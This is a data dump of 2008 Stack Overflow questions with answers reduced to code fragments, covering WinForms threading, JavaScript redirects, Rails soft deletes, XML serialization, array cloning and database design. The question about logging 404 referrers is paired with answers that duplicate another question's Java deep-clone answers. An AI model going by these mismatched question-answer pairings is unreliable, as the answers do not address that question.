qid
int64 4
19.1M
| question
stringlengths 18
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list |
|---|---|---|---|---|
200,314
|
<p>I'm writing a WinForms app which has two modes: console or GUI. Three projects within the same solution, one for the console app, one for the UI forms and the third to hold the logic that the two interfaces will both connect too. The Console app runs absolutely smoothly. </p>
<p>A model which holds the user-selections, it has an <code>IList<T></code> where T is a local object, <code>Step</code>, which implements <code>INotifyPropertyChanged</code>, so in the UI this is mounted on to a DataGridView. All is fine at runtime, the initial state of the objects is reflected on the screen. </p>
<p>Each of the <code>Step</code> objects is a task which is performed in turn; some of the properties will change, being reflected back to the IList and passed on to the DataGridView. </p>
<p>This action in the UI versions is done by creating a BackgroundWorker raising events back to the UI. The <code>Step</code> does it thing and generates a <code>StepResult</code> object which is an enumerated type indicating a result (e.g. Running, NotRun, OK, NotOK, Caveat) and a string to indicate a message (because the step ran but not quite as expected, i.e. with a Caveat). Normally the actions will involve a database interaction, but in debug mode I randomly generate a result. </p>
<p>If the message is null, there's never a problem, but if I generate a response like this: </p>
<pre><code>StepResult returnvalue = new StepResult(stat, "completed with caveat")
</code></pre>
<p>I get an error saying that the DataGridView was being accessed from a thread other than the thread it was created on. (I'm passing this through a custom handler which should handle the invoking when required - maybe it doesn't?) </p>
<p>Then if I generate a unique response, e.g. using a random number <code>r</code>: </p>
<pre><code>StepResult returnvalue = new StepResult(stat, r.ToString());
</code></pre>
<p>the actions succeed with no problem, the numbers are written cleanly to the DataGridView.</p>
<p>I'm baffled. I'm assuming it's somehow a string literal problem, but can anyone come up with a clearer explanation? </p>
|
[
{
"answer_id": 200347,
"author": "Skizz",
"author_id": 1898,
"author_profile": "https://Stackoverflow.com/users/1898",
"pm_score": 2,
"selected": false,
"text": "object Form.SomeFunction (args)\n{\n if (InvokeRequired)\n {\n return Invoke (new delegate (Form.Somefunction), args);\n }\n else\n {\n return result_of_some_action;\n }\n}\n"
},
{
"answer_id": 200506,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 3,
"selected": true,
"text": "BindingList<T> Control.Invoke"
},
{
"answer_id": 200705,
"author": "Unsliced",
"author_id": 2902,
"author_profile": "https://Stackoverflow.com/users/2902",
"pm_score": 0,
"selected": false,
"text": "ISynchronizeInvoke BindingList<T>"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200314",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2902/"
] |
200,319
|
<p>Is it possible to store web content (such as JSPs, HTML, images, CSS etc) in a JAR file?</p>
<p>I've been looking at various options at modularising our web applications and this is one possibility.</p>
<p>We are currently using JSF and Facelets for our view technology - I'm thinking it may be possible to write some form of custom view resolver which would examine the classpath rather than a filesystem directory, but I'm not sure this would work.</p>
<p>Any ideas would be appreciated! :)</p>
<p>Update: I should probably clarify. How do you get the web container (such as Tomcat) to load resources from a JAR file? For example, I deploy a .war file with my web application. If I access /index.jsp, the container will try to look in the web content directory for a file named index.jsp.</p>
<p>Is there an easy way to configure your own resource loader using Tomcat or the like so that it searches the classpath as well as the filesystem?</p>
|
[
{
"answer_id": 200581,
"author": "Martin Spamer",
"author_id": 15527,
"author_profile": "https://Stackoverflow.com/users/15527",
"pm_score": 2,
"selected": false,
"text": "this.getClass().getClassLoader().getResourceAsStream( filename ) ;\n"
},
{
"answer_id": 207990,
"author": "Romain Linsolas",
"author_id": 26457,
"author_profile": "https://Stackoverflow.com/users/26457",
"pm_score": 1,
"selected": false,
"text": "<h:graphicImage src=\"weblet://some-name/images/someimage.jpg\" .../>\n"
},
{
"answer_id": 38188356,
"author": "Pixelstix",
"author_id": 4266338,
"author_profile": "https://Stackoverflow.com/users/4266338",
"pm_score": 1,
"selected": false,
"text": "components.jar\n+-- META-INF\n +-- resources\n +-- css\n | +-- styles.css\n +-- images\n | +-- back.png\n +-- util\n +-- icon.xhtml\n +-- login.js\n +-- login.properties\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200319",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,330
|
<p>I have created a custom installer dll & everything is working fine. I just want to call another installer's <code>Uninstall</code> method from my current installation. When I do this, I get <code>error code 1618</code> (signifies another installer is already running). However when I call the <code>uninstall</code> of the same product from a test project, it is working fine.</p>
<p>Could anyone suggest a solution to this?</p>
<p>Can I uninstall another application from the current installer?</p>
|
[
{
"answer_id": 200374,
"author": "Matthew Scharley",
"author_id": 15537,
"author_profile": "https://Stackoverflow.com/users/15537",
"pm_score": 0,
"selected": false,
"text": "HKEY_LOCAL(MACHINE|USER)\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{PROGRAM}"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200330",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,337
|
<p>I've never learnt JavaScript, but I imagine this is quite a simple problem. Just wanted to know which method is most advised these days.</p>
|
[
{
"answer_id": 200339,
"author": "Owen",
"author_id": 4853,
"author_profile": "https://Stackoverflow.com/users/4853",
"pm_score": 8,
"selected": true,
"text": "// use this to avoid redirects when a user clicks \"back\" in their browser\nwindow.location.replace('http://somewhereelse.com');\n\n// use this to redirect, a back button call will trigger the redirection again\nwindow.location.href = \"http://somewhereelse.com\";\n\n// given for completeness, essentially an alias to window.location.href\nwindow.location = \"http://somewhereelse.com\";\n"
},
{
"answer_id": 200342,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<META> <meta http-equiv=\"refresh\" content=\"2;url=http://example.com\">"
},
{
"answer_id": 200365,
"author": "Quentin",
"author_id": 19068,
"author_profile": "https://Stackoverflow.com/users/19068",
"pm_score": 5,
"selected": false,
"text": "window.location.replace('http://example.com/'); window.location.href = 'http://example.com/';"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200337",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11324/"
] |
200,372
|
<p>I think it important to have an "<strong>undo</strong>" method ala <strong>gmail</strong> when destroying records instead of displaying an annoying popup that says, "<em>Are you sure?</em>".</p>
<p>The way that I've implemented this is to have a "deleted_at" timestamp column in the model which gets timestamped when <strong>destroy</strong> method is called</p>
<pre><code>def destroy
@foo = Foo.find(params[:id])
@foo.update_attribute(:deleted_at, Time.now)
...
end
</code></pre>
<p>To <strong>revert/undo</strong> I'll just set the same column to nil</p>
<pre><code>def revert
@foo = Foo.find(params[:id])
@foo.update_attribute(:deleted_at, nil)
...
end
</code></pre>
<p>I'll just have to add a condition to filter off "deleted" foos when I call the find method. Perhaps set a cron or background task to really destroy "deleted" foos after some time.</p>
<p>Works for me and easy to implement but I'm curious as to if there's a better way to implement this feature? Maybe there's a plugin or gem that provides this that I don't know about?</p>
|
[
{
"answer_id": 200419,
"author": "user27732",
"author_id": 27732,
"author_profile": "https://Stackoverflow.com/users/27732",
"pm_score": -1,
"selected": false,
"text": "class Action\n{\n Perform(context);\n Undo(context);\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200372",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6048/"
] |
200,373
|
<p>I want to filter two list with any fastest method in python script. I have used the built-in <code>filter()</code> method for this purpose. but it is quite slow and taking too much time because I have very big list, I think more than 5 million item in each list or may be more.
I do not know how I will make it. Please if anybody have idea or write small function for it. </p>
|
[
{
"answer_id": 200634,
"author": "gimel",
"author_id": 6491,
"author_profile": "https://Stackoverflow.com/users/6491",
"pm_score": 4,
"selected": false,
"text": "from itertools import ifilter\n\ndef is_important(s):\n return len(s)>10\n\nfiltered_list = ifilter(is_important, open('mylist.txt'))\n"
},
{
"answer_id": 200648,
"author": "Brian",
"author_id": 9493,
"author_profile": "https://Stackoverflow.com/users/9493",
"pm_score": 2,
"selected": false,
"text": "for x in itertools.ifilter(condition_func, my_really_big_list):\n do_something_with(x)\n"
},
{
"answer_id": 201015,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 2,
"selected": false,
"text": ">>> import timeit\n>>> timeit.Timer('[x for x in xrange(10) if (x**2 % 4) == 1]').timeit()\n2.0544309616088867\n>>> timeit.f = lambda x: (x**2 % 4) == 1\ntimeit.Timer('[x for x in xrange(10) if f(x)]').timeit()\n>>> \n3.4280929565429688\n timeit"
},
{
"answer_id": 201019,
"author": "S.Lott",
"author_id": 10661,
"author_profile": "https://Stackoverflow.com/users/10661",
"pm_score": 3,
"selected": false,
"text": "aBigList = someListMakingFunction()\nfilter( lambda x:x>10, aBigList )\n def someListMakingGenerator( ):\n for x in some source:\n yield x\n def myFilter( aGenerator ):\n for x in aGenerator:\n if x > 10: \n yield x\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200373",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17451/"
] |
200,378
|
<p>The CSS syntax highlighting in vim is not entirely optimal. For example: </p>
<pre><code>div.special_class
</code></pre>
<p>stops the highlighting at the <code>_</code>. </p>
<p>Is there an improved highlighter that doesn't bite on an underscore?</p>
<p>Update:
I'm using VIM - Vi IMproved 7.1 (2007 May 12, compiled Jun 17 2008 15:22:40)</p>
<p>and the header of my css.vim is:</p>
<pre><code>" Vim syntax file
" Language: Cascading Style Sheets
" Maintainer: Claudio Fleiner <claudio@fleiner.com>
" URL: http://www.fleiner.com/vim/syntax/css.vim
" Last Change: 2006 Jun 19
" CSS2 by Nikolai Weibull
" Full CSS2, HTML4 support by Yeti
</code></pre>
|
[
{
"answer_id": 200389,
"author": "Tomalak",
"author_id": 18771,
"author_profile": "https://Stackoverflow.com/users/18771",
"pm_score": 1,
"selected": false,
"text": "\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer: Claudio Fleiner <claudio@fleiner.com>\n\" URL: http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change: 2005 Nov 23\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n"
},
{
"answer_id": 200541,
"author": "SpoonMeiser",
"author_id": 1577190,
"author_profile": "https://Stackoverflow.com/users/1577190",
"pm_score": 4,
"selected": true,
"text": "\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer: Claudio Fleiner <claudio@fleiner.com>\n\" URL: http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change: 2007 Nov 06\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n syn match cssClassName \"\\.[A-Za-z][A-Za-z0-9_-]\\+\"\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200378",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1896/"
] |
200,380
|
<p>I need to model a system where by there will be a team who will consist of users who perform roles in the team and have skills assigned to them.</p>
<p><em>i.e. a team A 5 members, one performs the team leader role, all perform the reply to
email role, but some have an extra skill to answer the phone</em></p>
<p>I'm trying to determine how I can best model this. </p>
<p>This problem must have been solved before, are there any good resources on how to model this?</p>
<p>EDIT: I need to determine what a user is allowed to do, which could be because they are in a certain team, perform a certain role or have been assigned a certain skill</p>
|
[
{
"answer_id": 200680,
"author": "Cheery",
"author_id": 21711,
"author_profile": "https://Stackoverflow.com/users/21711",
"pm_score": 1,
"selected": false,
"text": "class Team\n container[Member] members\n\nclass Member\n container[Role] roles\n container[Skill] skills\n"
},
{
"answer_id": 214297,
"author": "Justin Bozonier",
"author_id": 9401,
"author_profile": "https://Stackoverflow.com/users/9401",
"pm_score": 0,
"selected": false,
"text": "class Problem\n{\n find_problem_solvers()\n {\n var problem_solvers = null\n for each (skill in skills_required)\n {\n var possible_problem_solvers = skill.find_problem_solvers()\n if(problem_solvers == null)\n {\n problem_solvers = new list().add_range(possible_problem_solvers)\n }\n else\n {\n for each problem_solver in problem_solvers:\n {\n if(problem_solver not in possible_problem_solvers)\n problem_solvers.remove(problem_solver)\n }\n }\n //No point continuing if we eliminated everyone!\n if(problem_solvers is empty) break;\n }\n return problem_solvers\n }\n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200380",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15352/"
] |
200,384
|
<p>What is meant by "Constant Amortized Time" when talking about time complexity of an algorithm?</p>
|
[
{
"answer_id": 249695,
"author": "Artelius",
"author_id": 31945,
"author_profile": "https://Stackoverflow.com/users/31945",
"pm_score": 11,
"selected": true,
"text": "O(1) O(n) O(m) O(1)"
},
{
"answer_id": 41739246,
"author": "Megamozg",
"author_id": 1204780,
"author_profile": "https://Stackoverflow.com/users/1204780",
"pm_score": 5,
"selected": false,
"text": "std::vector Y=C*N + b C b C*N C*1"
},
{
"answer_id": 57785225,
"author": "Lonnie Best",
"author_id": 217867,
"author_profile": "https://Stackoverflow.com/users/217867",
"pm_score": 1,
"selected": false,
"text": "Constant Amortized Time Constant Amortized Time"
},
{
"answer_id": 66236590,
"author": "lifezbeautiful",
"author_id": 3896008,
"author_profile": "https://Stackoverflow.com/users/3896008",
"pm_score": 2,
"selected": false,
"text": "import matplotlib.pyplot as plt\nimport time\n\n\na = []\nN = 1000000\n\ntotalTimeList = [0]*N\ntimeForThisIterationList = [0]*N\nfor i in range(1, N):\n startTime = time.time()\n a.append([0]*500) # every iteartion, we append a value(which is a list so that it takes more time)\n timeForThisIterationList[i] = time.time() - startTime\n totalTimeList[i] = totalTimeList[i-1] + timeForThisIterationList[i]\nmax_1 = max(totalTimeList)\nmax_2 = max(timeForThisIterationList)\n\nplt.plot(totalTimeList, label='cumulative time')\nplt.plot(timeForThisIterationList, label='time taken per append')\nplt.legend()\nplt.title('List-append time per operation showing amortised linear complexity')\nplt.show()\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200384",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6561/"
] |
200,386
|
<p>I want to set some attributes just before the object is serialized, but as it can be serialized from several locations, is there a way to do this using the OnSerializing method (or similar) for Xml serialization - my class is largely like this - but the On... methods are not being called...:</p>
<pre><code>[Serializable]
[XmlRoot(ElementName = "ResponseDetails", IsNullable = false)]
public class ResponseDetails
{
public ResponseDetails() {}
[OnSerializing]
internal void OnSerializingMethod(StreamingContext context)
{
logger.Info("Serializing response");
}
[OnSerialized]
internal void OnSerializedMethod(StreamingContext context)
{
logger.Info("Serialized response");
}
[OnDeserialized]
internal void OnDeserializedMethod(StreamingContext context)
{
logger.Info("Deserialized response");
}
[OnDeserializing]
internal void OnDeserializingMethod(StreamingContext context)
{
logger.Info("Deserializing response");
}
</code></pre>
|
[
{
"answer_id": 200426,
"author": "Kent Boogaart",
"author_id": 5380,
"author_profile": "https://Stackoverflow.com/users/5380",
"pm_score": 4,
"selected": true,
"text": "XmlSerializer DataContractSerializer"
},
{
"answer_id": 7512613,
"author": "Jatinder Walia",
"author_id": 958769,
"author_profile": "https://Stackoverflow.com/users/958769",
"pm_score": 2,
"selected": false,
"text": "MyXMLSerializer public class MyXMLSerializer\n{\n delegate void del_xmlSerializing();\n del_xmlSerializing ds; \n\n delegate void del_xmlSerialized(System.IO.Stream stream, object o);\n AsyncCallback cb;\n del_xmlSerialized dd;\n\n delegate void del_xmlDeserializing();\n del_xmlDeserializing dx; \n\n delegate object del_xmlDeserialized(System.IO.Stream stream);\n AsyncCallback db;\n del_xmlDeserialized xd;\n object FinalDeserializedObject = null;\n\n public MyXMLSerializer()\n { \n }\n\n public void Serialize(System.IO.Stream stream,object o,Type ClassType)\n {\n XmlSerializer xx = new XmlSerializer(ClassType);\n\n /* ON Serialization Beginning [ONSERIALIZING] */\n ds = new del_xmlSerializing(OnXMLSerializing_Begin);\n IAsyncResult IAR_Begin = ds.BeginInvoke(null, null);\n ds.EndInvoke(IAR_Begin);\n /* ON Serialization Beginning [ONSERIALIZING] */\n\n /* ON Serialization Completed ie [ONSERIALIZED] */\n dd = new del_xmlSerialized(xx.Serialize);\n cb = new AsyncCallback(OnXMLSerializing_Completed);\n IAsyncResult IAR = dd.BeginInvoke(stream, o, cb, dd);\n // This Delay Is Important Otherwise The Next Line Of Code(From Where Serialize Is Called)\n // Gets Executed Prior To Conclusion Of EndInvoke, Consequently Throwing Exception.\n while (IAR.IsCompleted == false) Thread.Sleep(1);\n /* ON Serialization Completed ie [ONSERIALIZED] */ \n }\n\n public object Deserialize(System.IO.Stream stream,Type ClassType)\n {\n XmlSerializer xx = new XmlSerializer(ClassType);\n\n /* ON De-Serialization Beginning [ONDESERIALIZING] */\n dx = new del_xmlDeserializing(OnXMLDeserializing_Begin);\n IAsyncResult IAR_Begin = dx.BeginInvoke(null, null);\n dx.EndInvoke(IAR_Begin);\n /* ON De-Serialization Beginning [ONDESERIALIZING] */\n\n /* ON De-Serialization Completed [ONDESERIALIZED] */\n xd = new del_xmlDeserialized(xx.Deserialize);\n db = new AsyncCallback(OnXMLDeserialization_Completed);\n IAsyncResult IAR = xd.BeginInvoke(stream, db, xd); \n // This Delay Is Important Otherwise The Next Line Of Code(From Where Serialize Is Called)\n // Gets Executed Prior To Conclusion Of EndInvoke ,Consequently Throwing Exception.\n while (IAR.IsCompleted == false) Thread.Sleep(1);\n return FinalDeserializedObject;\n /* ON De-Serialization Completed [ONDESERIALIZED] */ \n }\n\n private void OnXMLDeserialization_Completed(IAsyncResult I)\n {\n del_xmlDeserialized Clone = (del_xmlDeserialized)I.AsyncState;\n FinalDeserializedObject = Clone.EndInvoke(I);\n OnDeserialized(); \n }\n\n public virtual void OnSerialized()\n {\n MessageBox.Show(\"Serialization Completed\");\n }\n\n public virtual void OnDeserialized()\n {\n MessageBox.Show(\"Deserialization Completed\");\n }\n\n private void OnXMLSerializing_Completed(IAsyncResult I)\n {\n del_xmlSerialized Clone = (del_xmlSerialized)I.AsyncState;\n Clone.EndInvoke(I);\n OnSerialized(); \n }\n\n private void OnXMLDeserializing_Begin()\n {\n //Thread.Sleep(5000);\n OnDeserializing();\n }\n\n public virtual void OnDeserializing()\n {\n MessageBox.Show(\"Beginning Deserialization\");\n }\n\n private void OnXMLSerializing_Begin()\n {\n //Thread.Sleep(5000);\n OnSerializing();\n }\n\n public virtual void OnSerializing()\n {\n MessageBox.Show(\"Beginning Serialization\");\n } \n}\n TotalRecall MyXMLSerializer public class TotalRecall:MyXMLSerializer\n{\n public override void OnSerialized()\n {\n MessageBox.Show(\"Yippeeee!!!!!,I Finally Managed To Wire [ONSERIALIZED] Event With XMLSerializer.My Code Upon XML Serialized[ONSERIALIZED] Goes Here..\"); \n //base.OnSerialized();\n }\n\n public override void OnSerializing()\n {\n MessageBox.Show(\"Yippeeee!!!!!,I Finally Managed To Wire [ONSERIALIZING] Event With XMLSerializer.My Code Upon XML Serializing[ONSERIALIZING] Goes Here..\"); \n //base.OnSerializing();\n }\n\n public override void OnDeserializing()\n {\n MessageBox.Show(\"Yes!!!!!,I Finally Managed To Wire [ONDESERIALIZING] Event With XMLSerializer.My Code Upon XML De-Serializing[ONDESERIALIZING] Goes Here..\"); \n //base.OnDeserializing();\n }\n\n public override void OnDeserialized()\n {\n MessageBox.Show(\"Yes!!!!!,I Finally Managed To Wire [ONDESERIALIZED] Event With XMLSerializer.My Code Upon XML De-Serialized[ONDESERIALIZED] Goes Here..\");\n //base.OnDeserialized();\n }\n}\n Button1 Button2 public partial class Form2 : Form\n{\n public Form2()\n {\n InitializeComponent();\n }\n\n private void button1_Click(object sender, EventArgs e)\n {\n TotalRecall xx = new TotalRecall();\n Employee ee = new Employee();\n FileStream fs = File.Create(\"sss.xml\");\n xx.Serialize(fs, ee, typeof(Employee));\n fs.Close();\n fs.Dispose();\n }\n\n private void button2_Click(object sender, EventArgs e)\n {\n TotalRecall xx = new TotalRecall();\n FileStream fs=File.OpenRead(\"sss.xml\");\n Employee ee = (Employee)xx.Deserialize(fs, typeof(Employee));\n fs.Close();\n fs.Dispose();\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200386",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/48310/"
] |
200,387
|
<p>I have two multidimensional arrays (well actually they're only 2D) which have inferred size. How do I deep clone them? Here's what I have gotten so far:</p>
<pre><code>public foo(Character[][] original){
clone = new Character[original.length][];
for(int i = 0; i < original.length; i++)
clone[i] = (Character[]) original[i].clone();
}
</code></pre>
<p>A test for equality <code>original.equals(clone);</code> spits out a false. Why? :|</p>
|
[
{
"answer_id": 200418,
"author": "abahgat",
"author_id": 27565,
"author_profile": "https://Stackoverflow.com/users/27565",
"pm_score": 2,
"selected": false,
"text": "equals Character"
},
{
"answer_id": 200445,
"author": "Andreas Petersson",
"author_id": 16542,
"author_profile": "https://Stackoverflow.com/users/16542",
"pm_score": 1,
"selected": false,
"text": "new Character[original.length][]; Arrays.deepEquals(original,clone)"
},
{
"answer_id": 200496,
"author": "Barak Schiller",
"author_id": 1651,
"author_profile": "https://Stackoverflow.com/users/1651",
"pm_score": -1,
"selected": false,
"text": "ByteArrayOutputStream baos = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(baos);\noos.writeObject(this);\nByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\nObjectInputStream ois = new ObjectInputStream(bais);\nObject deepCopy = ois.readObject();\n"
},
{
"answer_id": 812814,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "/**Creates an independent copy(clone) of the boolean array.\n * @param array The array to be cloned.\n * @return An independent 'deep' structure clone of the array.\n */\npublic static boolean[][] clone2DArray(boolean[][] array) {\n int rows=array.length ;\n //int rowIs=array[0].length ;\n\n //clone the 'shallow' structure of array\n boolean[][] newArray =(boolean[][]) array.clone();\n //clone the 'deep' structure of array\n for(int row=0;row<rows;row++){\n newArray[row]=(boolean[]) array[row].clone();\n }\n\n return newArray;\n}\n"
},
{
"answer_id": 25188914,
"author": "Venkata Raju",
"author_id": 1812434,
"author_profile": "https://Stackoverflow.com/users/1812434",
"pm_score": 0,
"selected": false,
"text": "public static <T extends Serializable> T deepCopy(T obj)\n{\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n try\n {\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n\n // Beware, this can throw java.io.NotSerializableException \n // if any object inside obj is not Serializable\n oos.writeObject(obj); \n ObjectInputStream ois = new ObjectInputStream(\n new ByteArrayInputStream(baos.toByteArray()));\n return (T) ois.readObject();\n }\n catch ( ClassNotFoundException /* Not sure */\n | IOException /* Never happens as we are not writing to disc */ e)\n {\n throw new RuntimeException(e); // Your own custom exception\n }\n}\n int[][] intArr = { { 1 } };\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n int[][] intDc = deepCopy(intArr);\n intDc[0][0] = 2;\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n System.out.println(Arrays.deepToString(intDc)); // prints: [[2]]\n int[][] intClone = intArr.clone();\n intClone[0][0] = 4;\n\n // original array modified because builtin cloning is shallow \n System.out.println(Arrays.deepToString(intArr)); // prints: [[4]]\n System.out.println(Arrays.deepToString(intClone)); // prints: [[4]]\n\n short[][][] shortArr = { { { 2 } } };\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n\n // deepCopy() works for any type of array of any dimension\n short[][][] shortDc = deepCopy(shortArr);\n shortDc[0][0][0] = 4;\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n System.out.println(Arrays.deepToString(shortDc)); // prints: [[[4]]]\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200387",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,393
|
<p>I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod_rewrite solution to redirect all old links to new pages.
However, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links.</p>
<p>In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit & miss'.</p>
<p>I suspect not, but thought it worth a question.</p>
|
[
{
"answer_id": 200418,
"author": "abahgat",
"author_id": 27565,
"author_profile": "https://Stackoverflow.com/users/27565",
"pm_score": 2,
"selected": false,
"text": "equals Character"
},
{
"answer_id": 200445,
"author": "Andreas Petersson",
"author_id": 16542,
"author_profile": "https://Stackoverflow.com/users/16542",
"pm_score": 1,
"selected": false,
"text": "new Character[original.length][]; Arrays.deepEquals(original,clone)"
},
{
"answer_id": 200496,
"author": "Barak Schiller",
"author_id": 1651,
"author_profile": "https://Stackoverflow.com/users/1651",
"pm_score": -1,
"selected": false,
"text": "ByteArrayOutputStream baos = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(baos);\noos.writeObject(this);\nByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\nObjectInputStream ois = new ObjectInputStream(bais);\nObject deepCopy = ois.readObject();\n"
},
{
"answer_id": 812814,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "/**Creates an independent copy(clone) of the boolean array.\n * @param array The array to be cloned.\n * @return An independent 'deep' structure clone of the array.\n */\npublic static boolean[][] clone2DArray(boolean[][] array) {\n int rows=array.length ;\n //int rowIs=array[0].length ;\n\n //clone the 'shallow' structure of array\n boolean[][] newArray =(boolean[][]) array.clone();\n //clone the 'deep' structure of array\n for(int row=0;row<rows;row++){\n newArray[row]=(boolean[]) array[row].clone();\n }\n\n return newArray;\n}\n"
},
{
"answer_id": 25188914,
"author": "Venkata Raju",
"author_id": 1812434,
"author_profile": "https://Stackoverflow.com/users/1812434",
"pm_score": 0,
"selected": false,
"text": "public static <T extends Serializable> T deepCopy(T obj)\n{\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n try\n {\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n\n // Beware, this can throw java.io.NotSerializableException \n // if any object inside obj is not Serializable\n oos.writeObject(obj); \n ObjectInputStream ois = new ObjectInputStream(\n new ByteArrayInputStream(baos.toByteArray()));\n return (T) ois.readObject();\n }\n catch ( ClassNotFoundException /* Not sure */\n | IOException /* Never happens as we are not writing to disc */ e)\n {\n throw new RuntimeException(e); // Your own custom exception\n }\n}\n int[][] intArr = { { 1 } };\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n int[][] intDc = deepCopy(intArr);\n intDc[0][0] = 2;\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n System.out.println(Arrays.deepToString(intDc)); // prints: [[2]]\n int[][] intClone = intArr.clone();\n intClone[0][0] = 4;\n\n // original array modified because builtin cloning is shallow \n System.out.println(Arrays.deepToString(intArr)); // prints: [[4]]\n System.out.println(Arrays.deepToString(intClone)); // prints: [[4]]\n\n short[][][] shortArr = { { { 2 } } };\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n\n // deepCopy() works for any type of array of any dimension\n short[][][] shortDc = deepCopy(shortArr);\n shortDc[0][0][0] = 4;\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n System.out.println(Arrays.deepToString(shortDc)); // prints: [[[4]]]\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200393",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26107/"
] |
200,394
|
<p>I'm trying to design an application to hold academic reference information. The problem is that each different type of reference (eg. journal articles, books, newspaper articles etc) requires different information. For example a journal reference requires both a journal title and an article title, and also a page number, whereas a book requires a publisher and a publication date which journal articles do not require.</p>
<p>Therefore, should I have all the references stored in one table in my database and just leave fields blank when they don't apply, or should I have various tables such as BookReferences, JournalReferences, NewspaperReferences and put the appropriate references in each one. The problem then would be that it would make searching through all the references rather more difficult, and also editing would have to be done rather more separately probably.</p>
<p>(I'm planning to use Ruby on Rails for this project by the way, but I doubt that makes any difference to this design question)</p>
<p><strong>Update:</strong></p>
<p>Any more views on this? I hoped to get a simple answer saying that a particular method was definitely considered 'the best' - but as usual things aren't quite as simple as this. The Single-Table Inheritance option looks quite interesting, but there isn't much information on it that I can find very easily - I may post another question on this site about that.</p>
<p>I'm split between <a href="https://stackoverflow.com/questions/200394/one-table-or-many#200406">Olvak's answer</a> and <a href="https://stackoverflow.com/questions/200394/one-table-or-many#200671">Corey's answer</a>. Corey's answer gives a good reason why Olvak's isn't the best, but Olvak's answer gives good reasons why Corey's isn't the best! I never realised this could be so difficult...</p>
<p>Any further advice much appreciated!</p>
|
[
{
"answer_id": 200671,
"author": "Corey Trager",
"author_id": 9328,
"author_profile": "https://Stackoverflow.com/users/9328",
"pm_score": 2,
"selected": false,
"text": "create view book as \nselect id, field_common-to-book-and-journal, field-specific-to-book\nfrom my-one-big-table\nwhere type = 'book'\n select id, field-common-to-book-and-journal from books\nunion\nselect id, field-common-to-book-and-journal from journal-articles\nunion\n.... etc, for each type\n select \n common.id, \n common.field-common-to-book-and-journal, \n book.field-specific-to-book \n journal.field-specific-to-journal\nfrom common-table common\nleft outer join book-specific-table book on \nleft outer join journal-specific-table journal on\n... etc, for each type\n"
},
{
"answer_id": 200728,
"author": "nickf",
"author_id": 9021,
"author_profile": "https://Stackoverflow.com/users/9021",
"pm_score": 1,
"selected": false,
"text": "refs (id, title, refType)\n-- title of the reference, and what type of reference it is\n\nfieldDef (id, fieldName, refType, dataType)\n-- name of the field, which reference types it applies to, and\n-- what type of data is stored in these fields (ISDN number, date, etc)\n\nfields (refId, fieldId, value)\n-- where you actually add data to the references.\n refType"
},
{
"answer_id": 200770,
"author": "onedaywhen",
"author_id": 15354,
"author_profile": "https://Stackoverflow.com/users/15354",
"pm_score": 3,
"selected": false,
